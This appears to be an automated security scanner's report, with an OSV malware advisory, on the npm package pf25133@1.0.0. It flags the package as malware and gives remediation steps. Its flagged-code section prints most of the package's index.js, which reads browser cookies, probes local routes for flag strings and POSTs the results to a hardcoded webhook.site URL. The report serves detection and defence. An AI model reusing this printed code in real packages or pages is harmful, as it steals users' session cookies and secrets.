registry / pf25133 / 1.0.0

pf25133@1.0.0

AI Security Review

scanned 20d ago · by lpm-firewall-ai

Importing the package immediately reads browser cookies, probes local app routes for flag-shaped secrets, and POSTs the bundle to a package-controlled webhook.site URL. There is no user flag or destination allowlist.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Requiring or importing the package main entrypoint index.js in a browser-like environment.

Impact

Session cookies and application secrets leak to an attacker-controlled webhook.

Mechanism

Default import-time cookie and page scraping with POST exfiltration

Attack narrative

On import, the main module runs an async IIFE that copies document.cookie, fetches a hard-coded list of local routes looking for DGA-style flags, and POSTs the collected object to a webhook.site callback owned by the package. No install hook or opt-in is required. That is default credential and data theft to an unrelated receiver.

AI rationale

The published main entrypoint is a default-on harvester that sends cookies and scraped application flags to a hardcoded webhook.site URL. That is concrete exfiltration, so the package is malicious and should be blocked.

Evidence

index.jspackage.json

Network endpoints1

webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16339

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in pf25133 (npm)

Details

The package's declared main module index.js is an IIFE that reads document.cookie, fetches a hardcoded list of application paths, extracts flag-shaped patterns from the responses, and POSTs the aggregated data as JSON to a hardcoded webhook.site collector URL (https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1). The behavior is unconditional on load and the destination is not configurable. webhook.site is a generic anonymous request-bin service unrelated to any legitimate first-party endpoint, and the package ships no functionality other than this collection payload. ## Source: ghsa-malware (2a468a0f803545c964b7fd5cf12d9a26dd7be416ee34d3d3728edecf99d5031f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory PACKAGE ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 95.0% confidence as Malware with low false-positive risk.

Evidence for block

Main index.js is an immediately invoked async function that POSTs harvested data to a hardcoded webhook.site URL with no opt-in.
The payload includes document.cookie plus HTTP status and any DGA flag matches from probed application routes.
package.json sets index.js as main, so importing or requiring the package runs the theft by default.

Evidence against

package.json has no preinstall, install, or postinstall scripts.
The package does not spawn a shell, eval code, or write local files.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsTrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 462 B of source, external domains: webhook.site

Source & flagged code

6 flagged

index.jsView file

•Browser cookie sent to a fixed external endpoint in index.js: const hook='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1'; let out={cookie:document.cookie};

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js const hook='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1'; fetch(hook,{method:'POST',body:JSON.stringify(out)});

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

1(async()=>{ const hook='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1'; const paths=['/profile','/','/feed','/home','/me','/admin','/flag','/dashboard','/settings','/api/me']; let out={cookie:document.cookie};

High

Ai Review Evidence

Main index.js is an immediately invoked async function that POSTs harvested data to a hardcoded webhook.site URL with no opt-in.

index.jsView on unpkg · L1

8fetch(hook,{method:'POST',body:JSON.stringify(out)}); })();

High

Ai Review Evidence

Main index.js is an immediately invoked async function that POSTs harvested data to a hardcoded webhook.site URL with no opt-in.

index.jsView on unpkg · L8

4let out={cookie:document.cookie}; for(const p of paths){ try{const r=await fetch(p);const t=await r.text();const m=t.match(/DGA\{[^}]*\}/);out[p]=r.status+(m?' '+m[0]:'');}catch(e){out[p]='ERR';}

High

Ai Review Evidence

The payload includes document.cookie plus HTTP status and any DGA flag matches from probed application routes.

index.jsView on unpkg · L4

package.jsonView file

1{"name":"pf25133","version":"1.0.0","main":"index.js"}

High

Ai Review Evidence

package.json sets index.js as main, so importing or requiring the package runs the theft by default.

package.jsonView on unpkg · L1

Source & flagged code

6 flagged · loading source

index.jsView file

•Browser cookie sent to a fixed external endpoint in index.js: const hook='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1'; let out={cookie:document.cookie};

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Ai Review Evidence

Main index.js is an immediately invoked async function that POSTs harvested data to a hardcoded webhook.site URL with no opt-in.

index.jsView on unpkg · L1

Findings

1 Critical5 High2 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to pf25133@1.0.0.

See version security history for other recorded verdicts.

Avoid installing pf25133@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-01 04:45:48.294Z (UTC).

Source advisory published: 2026-09-21 03:32:43.000Z (UTC).